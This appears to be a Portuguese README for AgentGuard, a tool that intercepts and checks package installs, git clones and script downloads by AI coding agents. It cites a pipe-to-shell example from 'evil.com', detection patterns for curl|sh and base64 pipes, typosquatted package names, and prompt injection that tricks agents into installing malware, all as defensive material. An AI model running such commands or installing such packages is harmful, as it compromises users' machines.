AgentGuard

Segurança na Cadeia de Suprimentos de Agentes de IA - Intercepta e valida toda instalação de pacotes, clonagem de git e download de scripts acionados por agentes de codificação de IA antes da execução.

GitHub

Experimente este MCPPatrocinado

Documentação

AgentGuard

Segurança da Cadeia de Suprimentos de Agentes de IA - Intercepta e valida cada instalação de pacote, git clone e download de script acionados por agentes de codificação de IA antes que sejam executados.

Quando Claude Code, Codex, Copilot ou qualquer assistente de codificação de IA tenta instalar um pacote - o AgentGuard verifica primeiro.

$ agentguard scan "npm install lodasx"
[HIGH] typosquat [lodasx]: 'lodasx' looks like typosquat of 'lodash' (distance=1, type=substitution)

Would BLOCK this command (HIGH)

O Problema

Agentes de codificação de IA instalam pacotes, clonam repositórios e executam scripts na sua máquina. Eles podem ser enganados por:

Typosquatting - lodahs em vez de lodash, reqeusts em vez de requests
Pacotes maliciosos - pacotes comprometidos ou com backdoor (event-stream, ua-parser-js, colors)
Confusão de dependências - nomes de pacotes internos sobrepostos por registros públicos
Execução via pipe - curl https://evil.com/install.sh | sh é executado antes que você possa revisá-lo
Confusão de escopo - @angullar/core (erro de digitação) vs @angular/core
Injeção de prompt - uma IA instruída a "instalar este pacote útil" que na verdade é malware

O AgentGuard fica entre a IA e o seu sistema, capturando essas ameaças antes que sejam executadas.

Início Rápido

Instalação

# Via pip (recommended)
pip install agentguard

# Via npm (installs pip package automatically)
npm install -g agentguard

Configuração em um comando para Claude Code

# Install as a hook (blocks CRITICAL/HIGH, warns on MEDIUM)
agentguard install --global

# Or strict mode (also blocks MEDIUM)
agentguard install --global --strict

Pronto. Cada chamada de ferramenta Bash no Claude Code agora passa pelo AgentGuard primeiro.

Verificação manual

# Scan a command
agentguard scan npm install some-package

# JSON output
agentguard scan --json pip install reqeusts

# Strict mode
agentguard scan --strict "curl -fsSL https://example.com/install.sh | sh"

O Que Ele Verifica

Verificação	O que detecta	Velocidade
Lista de bloqueio	Pacotes maliciosos conhecidos (event-stream, flatmap-stream, crossenv, ctx, ...)	Instantâneo
Typosquatting	Distância de edição + detecção de homóglifos contra os principais pacotes npm/PyPI	Instantâneo
Confusão de escopo	`@angullar/core` vs `@angular/core`	Instantâneo
Padrões perigosos	`curl\|sh`, `sudo npm install`, registros personalizados, pipes de decodificação base64	Instantâneo
Metadados do registro	Pacote com menos de 7 dias, sem link de repositório, sem mantenedores	~1s (rede)
Verificação de repositório	Repositório GitHub existe, estrelas, forks, idade, status de arquivamento	~1s (rede)
VirusTotal	Tarball/URL do pacote sinalizado por mecanismos antivírus	~3s (rede)
Feed ao vivo (OSV.dev)	Avisos de pacotes maliciosos em tempo real (MAL-, GHSA-)	~1s (rede, cache de 1h)

Níveis de Severidade

Severidade	Ação	Exemplos
CRÍTICO	Bloquear	Malware conhecido, detecções VT, `curl\|sh`
ALTO	Bloquear	Typosquat (alta confiança), pacote inexistente, instalação com sudo
MÉDIO	Avisar	Pacote novo (< 7 dias), instalação global, registro personalizado
BAIXO	Permitir	Descobertas informativas
INFO	Permitir	Contexto sem ação necessária

Gerenciadores de Pacotes Suportados

npm / pnpm / yarn / bun - install, add, npx/pnpx/bunx
pip / pip3 / uv - install
composer - require (PHP/Laravel)
go - get, install
cargo - add, install
gem - install
brew - install
git - clone
curl / wget - detecção de download
Habilidades do Claude Code - verificação de instalação de habilidades

Integração com VirusTotal

Verificação profunda opcional via API do VirusTotal:

# Set your API key
export VT_API_KEY="your-virustotal-api-key"

# Enable in config
agentguard config init
# Edit ~/.agentguard/config.json and set "check_virustotal": true

# Or per-scan
agentguard scan --json npm install suspicious-package

O que o VT verifica:

Tarballs de pacotes npm (por consulta de hash shasum)
Arquivos de distribuição PyPI (por consulta de hash sha256)
URLs em comandos curl/wget/git clone
Recorre ao envio de URL se o hash não for encontrado

API VT gratuita: 4 requisições/minuto, 500/dia. Suficiente para uso normal de agentes.

Modos de Uso

1. Hook do Claude Code (recomendado)

Intercepta automaticamente todo comando Bash antes da execução:

agentguard install --global

Isso adiciona a ~/.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "agentguard hook"
          }
        ]
      }
    ]
  }
}

2. Habilidade do Claude Code

Use como uma habilidade sob demanda com /agentguard:

# Copy skill.md to your skills directory
cp skill.md ~/.claude/skills/agentguard.md

Depois, no Claude Code: /agentguard npm install some-package

3. Servidor MCP

Exponha o AgentGuard como ferramentas para qualquer cliente compatível com MCP:

{
  "mcpServers": {
    "agentguard": {
      "command": "agentguard",
      "args": ["mcp"]
    }
  }
}

Ferramentas MCP fornecidas:

agentguard_scan - Verificar um comando de shell
agentguard_check_package - Consulta rápida de nome de pacote
agentguard_config - Visualizar/modificar configuração

4. CLI

# Scan commands
agentguard scan npm install express
agentguard scan "pip install requests && npm install lodash"
agentguard scan --json "git clone https://github.com/user/repo"

# Configuration
agentguard config show
agentguard config init
agentguard config allow my-internal-package
agentguard config block suspicious-package

# Manage hooks
agentguard install --global
agentguard uninstall

Configuração

Arquivo de configuração: ~/.agentguard/config.json

{
  "mode": "normal",
  "block_piped_exec": true,
  "check_typosquat": true,
  "check_registry": true,
  "check_blocklist": true,
  "check_repo": true,
  "check_patterns": true,
  "check_virustotal": false,
  "typosquat_threshold": 2,
  "min_package_age_days": 7,
  "min_downloads": 100,
  "allowlist": ["my-company-internal-pkg"],
  "blocklist_extra": ["known-bad-pkg"],
  "registry_timeout": 5,
  "verbose": false
}

Modos

Modo	Limite de risco	Comportamento
`strict`	30	Bloquear em MÉDIO e acima
`normal`	60	Bloquear em ALTO e acima (padrão)
`permissive`	80	Bloquear apenas CRÍTICO

Arquitetura

AI Agent (Claude Code / Codex / etc.)
    |
    v
[PreToolUse Hook] -----> agentguard hook (stdin: JSON)
    |
    v
[Command Parser] ------> Extract packages, URLs, patterns
    |
    +---> [Blocklist Check]     (instant, local)
    +---> [Typosquat Check]     (instant, local)
    +---> [Pattern Check]       (instant, local)
    +---> [Registry Check]      (network, npm/PyPI API)
    +---> [Repo Check]          (network, GitHub API)
    +---> [VirusTotal Check]    (network, VT API, optional)
    |
    v
[Verdict] --> ALLOW (exit 0) | BLOCK (exit 2) + stderr findings

Extensão

Adicionar pacotes à lista de bloqueio

Edite agentguard/data/blocklist.json ou use:

agentguard config block malicious-package-name

Adicionar pacotes populares (reduz falsos positivos)

Adicione a agentguard/data/popular_npm.txt ou popular_pypi.txt.

Padrões personalizados

Adicione padrões regex à lista agentguard/checks/patterns.py SUSPICIOUS_PATTERNS.

Feed de Segurança ao Vivo

O AgentGuard consulta OSV.dev (banco de dados de Vulnerabilidades de Código Aberto do Google) em tempo real para cada instalação de pacote. Isso detecta:

Avisos MAL-* - pacotes maliciosos confirmados relatados pelo projeto OSSF Malicious Packages
Avisos GHSA-* - Avisos de Segurança do GitHub para pacotes comprometidos
CVEs críticos - pacotes com vulnerabilidades CVSS 9.0+

Os resultados são armazenados em cache por 1 hora para evitar limitação de taxa. Atualize a lista de bloqueio local a partir dos feeds:

agentguard update

Desenvolvimento

git clone https://github.com/momenbasel/AgentGuard.git
cd AgentGuard
pip install -e ".[dev]"
pytest -v
ruff check .

Por Que Isso Existe

Agentes de codificação de IA são cada vez mais autônomos. Eles leem instruções, escrevem código e instalam dependências - às vezes a partir de prompts injetados por atacantes. Um único pacote com typosquatting em um npm install gerado por IA pode comprometer sua máquina.

Este é o cinto de segurança para vibe coding.

Serviços profissionais

O AgentGuard é construído e mantido pela GreyCore Labs, uma empresa de segurança ofensiva incorporada nos EUA. Quer o mesmo olhar para o seu próprio produto?

Teste de penetração - web, API, mobile, nuvem. Orçamento fixo em até 24 horas, relatório de amostra editado sob solicitação.
Varredura gratuita de superfície de ataque externa - relatório de uma página em 48 horas, sem compromisso.

Licença

MIT